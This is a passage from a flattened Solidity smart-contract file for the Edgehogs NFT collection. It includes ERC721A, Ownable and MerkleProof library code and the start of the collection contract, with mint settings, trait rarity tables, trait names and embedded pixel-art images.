* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Equivalent to `_burn(tokenId, false)`.
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
/////////////////////////////////////////
/////🦔INTERFACES🦔/////////////////////
////////////////////////////////////////
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
pragma solidity ^0.8.12;
interface InterfaceDescriptor {
function renderBottom(uint256 _bottom) external view returns (bytes memory);
function renderClothes(uint256 _clothes) external view returns (bytes memory);
function renderBack(uint256 _back) external view returns (bytes memory);
function renderAccessory(uint256 _accessory) external view returns (bytes memory);
function renderHeadgear(uint256 _headgear) external view returns (bytes memory);
function renderMouth(uint256 _mouth) external view returns (bytes memory);
function renderBackground(uint256 _background) external view returns (bytes memory);
function renderEyes(uint256 _eyes) external view returns (bytes memory);
function renderLegendary(uint256 _legendary) external view returns (bytes memory);
}
// File: contracts/edgehogs.sol
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
// (((((((((((((((((((((((((((((((((%%%(((%%%(((%%%(((%%%%%%(((((((((((((((((((((((((((((((((((((((
// (((((((((((((((((((((((((((((((((@@@(((@@@(((@@@(((@@@@@@(((((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((@@@(((@@@&&&@@@&&&@@@%%%@@@%%%%%%@@@((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((((((((@@@@@@&&&%%%&&&%%%%%%###%%%###%%%###@@@(((((((((((((((((((((((((((((((((
// (((((((((((((((((((((@@@&&&%%%######%%%%%%######%%%###%%%###%%%@@@((((((((((((((((((((((((((((((
// ((((((((((((((((((@@@&&&&&&&&&%%%###%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@(((((((((((((((((((((((((((
// ((((((((((((######&&&&&&%%%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@#########((((((((((((((((((
// ((((((((((((@@@@@@&&&&&&###@@@@@@@@@###%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@((((((((((((((((((
// (((((((((((((((@@@&&&%%%###@@@******%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@******&@@((((((((((((((((((
// (((((((((((((((@@@&&&%%%###%%%@@@***%%%///,,,,,,,,,%%%%%%*,,,,,,,,///***&@@(((((((((((((((((((((
// (((((((((@@@@@@&&&&&&&&&%%%%%%%%%@@@(//,,,,,,,,,,,,,,,,,,,,,,,,//////###@@@(((((((((((((((((((((
// ((((((((((((@@@&&&%%%%%%%%%%%%%%%@@@(//,,,,,,@@@ ,,,,,,,,,///@@@ ###@@@(((((((((((((((((((((
// ((((((((((((@@@&&&%%%%%%%%%%%%%%%@@@(//,,,,,,@@@ ,,,,,,,,,///@@@ ###@@@(((((((((((((((((((((
// (((((((((@@@@@@%%%&&&%%%%%%%%%%%%@@@(//,,,,,,@@@@@@*,,,,,,,,,,,@@@@@@###@@@(((((((((((((((((((((
// ((((((((((((@@@&&&&&&%%%###%%%%%%@@@(//////////////,,,,,,,,,,,,//////&@@((((((((((((((((((((((((
// (((((((((@@@&&&%%%&&&%%%%%%%%%@@@###//////,,,,,,,,,,,,,,,,,,@@@@@@(//&@@((((((((((((((((((((((((
// (((((((((@@@&&&&&&&&&%%%###@@@#########@@@(///////////,,,@@@@@@@@@@@@(((((((((((((((((((((((((((
// (((((((((@@@&&&%%%&&&&&&###@@@###//////###@@@@@@@@@@@@@@@@@@@@@@@@((((((((((((((((((((((((((((((
// (((((((((@@@&&&%%%&&&&&&###@@@###//////###@@@@@@@@@@@@@@@@@@@@@@@@((((((((((((((((((((((((((((((
// (((((((((@@@&&&%%%######@@@###///////////////###############@@@(((((((((((((((((((((((((((((((((
// ((((((@@@&&&&&&%%%&&&###@@@###/////////,,,,,,,,,,,,//////###@@@(((((((((((((((((((((((((((((((((
// (((((((((@@@&&&%%%&&&@@@###/////////,,,,,,,,,,,,,,,,,,//////&@@@@@((((((((((((((((((((((((((((((
// ((((((@@@&&&&&&%%%###@@@###/////////,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@(((((((((((((((((((((((((((
// (((((((((@@@&&&%%%###@@@######@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@(((((((((((((((((((((((((((
// (((((((((@@@&&&%%%###@@@######@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@(((((((((((((((((((((((((((
// (((((((((@@@&&&&&&&&&@@@###///@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@(((((((((((((((((((((((((((
// ((((((@@@&&&&&&&&&###@@@###///@@@(//,,,,,,,,,,,,,,,,,,//////&@@(//&@@(((((((((((((((((((((((((((
// (((((((((@@@&&&&&&%%%###@@@@@@(////////,,,,,,,,,,,,,,,//////&@@@@@((((((((((((((((((((((((((((((
// ((((((((((((@@@&&&%%%%%%@@@###////////////,,,,,,,,,/////////&@@(((((((((((((((((((((((((((((((((
// (((((((((((((((@@@######@@@###///////////////////////////&@@((((((((((((((((((((((((((((((((((((
// (((((((((((((((@@@######@@@###///////////////////////////&@@((((((((((((((((((((((((((((((((((((
// ((((((((((((((((((@@@@@@@@@###///@@@@@@@@@@@@@@@###///&@@(((((((((((((((@spiridono((((((((((((((
// ((((((((((((((((((((((((@@@###///@@@(((((((((@@@###///&@@(((((((((((((((((((((((((((((((((((((((
contract Edgehogs is Ownable, ERC721A {
uint256 public MAX = 6666;
uint256 public MAX_FREE = 696;
uint256 public MAX_REROLLS = 1000;
uint256 public PURCHASE_LIMIT = 10;
uint256 public PRICE = 0.025 ether;
uint256 public REROLL_PRICE = 0.01 ether;
uint256 public mintedTokens;
uint256 public rerollsMade;
uint256 public freeClaimed;
uint8 public saleState = 0; // = DEV, 1 = SALE, 2 = REROLL, 3 = CLOSED
// OpenSea auto approve is live
bool public isOpenSeaApproved;
//Legendaries status
bool public legendariesSet = false;
// OpenSea proxy registry contract
OpenSeaProxyRegistry public openSeaProxyRegistry;
// withdraw addresses
address t1 = 0x392D50fCFDd5b36E6DdDB22bcB84AA80B8105890; //
address t2 = 0xE0b76103Ec5d8159939572A61286bD3291DB8a43;
//Steve Aoki addrress
address steveAoki = 0xe4bBCbFf51e61D0D95FcC5016609aC8354B177C4;
//Save seed for traits for each token
mapping(uint256 => uint256) public tokenSeed;
// amount minted by address in presale
mapping(address => uint256) public whitelistMints;
InterfaceDescriptor public descriptor;
uint16[][8] rarities;
string[][9] traitsByName;
uint256[] legendaryList;
// Mapping from token ID to name
mapping (uint256 => string) private _tokenName;
// Mapping if certain name string has already been reserved
mapping (string => bool) private _nameReserved;
// presale merkle tree root
bytes32 internal _merkleRoot;
//SVG-parts shared by all Edgehogs
string private constant svgStart =
"<svg id='edgehog' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 256 256' width='640' height='640'>";
string private constant svgEnd =
"<style>#edgehog{shape-rendering: crispedges; image-rendering: -moz-crisp-edges; image-rendering: optimizeSpeed; image-rendering: -webkit-crisp-edges; image-rendering: -webkit-optimize-contrast; image-rendering: crisp-edges; image-rendering: pixelated; -ms-interpolation-mode: nearest-neighbor;}.vibe { animation: 0.5s vibe infinite alternate ease-in-out; } @keyframes vibe { from { transform: translateY(0px); } to { transform: translateY(1.5%); } }</style></svg>";
string private constant _body =
"<image href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEABAMAAACuXLVVAAAAD1BMVEUAAACTg2rLtaEnDQhZVlIUtesvAAAAAXRSTlMAQObYZgAAAMhJREFUeNrt2bENxCAQRUG3QAvXAi24/5oOS15hmdNB6vVMQkDwXwwbAAAAAAAAAAAAAAAAAAAAAMCq2uzNtkiAAAG5AmI8bBMCBAjIG1BOswgBAgTkCujjo/2H2ggQICB/wOemnAQIEJAvYD4+RtSTAAEC3hdwiIA4BQgQkCfgUBsBAgS8N6A0AgQIEDALKI0AAQJyBoRysfpAIUCAgOcH/Pu4vI+HGBcgQED+gG4cFyBAQN6AOoi7Pi5AgID8Adc7AQIEpAj4AjgSOK7j5zUdAAAAAElFTkSuQmCC'/>";
string private constant _head =
"<g class='vibe'><image href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEABAMAAACuXLVVAAAAFVBMVEUAAADLtaEnDQiTg2rsmJkAAABZVlL0LlrIAAAAAXRSTlMAQObYZgAAALBJREFUeNrt1s0JwzAMgNGukBWyQlfoCl2h+4/QGCwQAZOfm5X3rpHQdwp+AQAAAAAAAAAAAJyxJnf3BAgQMH/Ap7uyFzsCBAiYPyBHvLsliZklaTP5uAABAuYPiIh0fCgifxsBAgQ8LyB/FyBAwDMDGgECBNQP2Bs9SOK4AAEC6gQ0o6Ph2wkQIKBuwOiHFMdDPi5AgIB6Ac16YD8vQICAegEAAAAAAAAAAAAAAEAZf88p+dDBeVtDAAAAAElFTkSuQmCC'/></g>";
constructor(
InterfaceDescriptor descriptor_,
OpenSeaProxyRegistry openSeaProxyRegistry_,
bytes32 merkleRoot_
) ERC721A("EDGEHOGS", unicode"⚉") {
//Solidity 0.8.12 does not seem to support Unicode 10.0 emojis as of now, otherwise it would have been 🦔 ofc
// Initializing variables
descriptor = descriptor_;
openSeaProxyRegistry = openSeaProxyRegistry_;
_merkleRoot = merkleRoot_;
//sum of rarities values must be equal to the mod used in _getRandomIndex, 10000 in our case
rarities[0] = [0,
200,
2000,
2000,
2000,
2000,
900,
900
]; //backgrounds
rarities[1] = [
0,
1000,
850,
700,
700,
700,
600,
600,
500,
500,
400,
400,
300,
300,
300,
300,
300,
300,
200,
200,
200,
200,
200,
100,
100,
50
]; //backs
rarities[2] = [
0,
550,
550,
550,
550,
550,
550,
550,
550,
550,
500,
500,
500,
500,
500,
500,
500,
500,
500,
500,
50
]; //bottoms
rarities[3] = [
0,
550,
550,
550,
550,
550,
550,
550,
550,
550,
500,
500,
500,
500,
500,
500,
500,
500,
500,
500,
50
]; //clothes
rarities[4] = [
0,
1000,
800,
800,
800,
600,
600,
500,
500,
400,
400,
400,
400,
400,
300,
300,
300,
300,
300,
200,
200,
200,
150,
100,
50
]; //mouths
rarities[5] = [
0,
800,
600,
600,
600,
600,
600,
400,
400,
400,
400,
300,
300,
300,
300,
300,
200,
200,
200,
200,
200,
200,
200,
200,
200,
200,
200,
100,
100,
100,
100,
100,
100,
100,
50,
50,
50,
50
]; //headgears
rarities[6] = [
0,
850,
800,
800,
600,
600,
600,
400,
400,
400,
400,
300,
300,
300,
300,
300,
200,
200,
200,
200,
200,
200,
200,
200,
200,
100,
100,
100,
100,
100,
100,
100,
100,
50
]; //eyes
rarities[7] = [
0,
800,
700,
700,
700,
700,
500,
500,
500,
500,
500,
500,
500,
400,
400,
400,
300,
200,
200,
200,
200,
200,
100,
100,
100,
50,
50
]; //accessories
//traits
//backgrounds
traitsByName[0] = [
"n/a",
"Psychedelic",
"Purple",
"Orange",
"Green",
"Pink",
"Pink-Blue",
"Blue-Green"
];
//backs
traitsByName[1] = [
"n/a",
"Edgehog",
"Firework",
"Black",
"Neon Sparks",
"Shoomery",
"Pirate",
"Punk",
"Grant us Eyes",
"Rainbow",
"Neon Punk",
"Psychedelic",
"Slime",
"Spotty",
"Christmas",
"Brainiac",
"Cyberhog",
"Bubble gum",
"Skellyhog",
"TNT",
"Biohazard",
"Robohog",
"Hellhog",
"Virus",
"Pure Gold",
"Diamond"
];
//bottoms
traitsByName[2] = [
"n/a",
"Fancy",
"Padre",
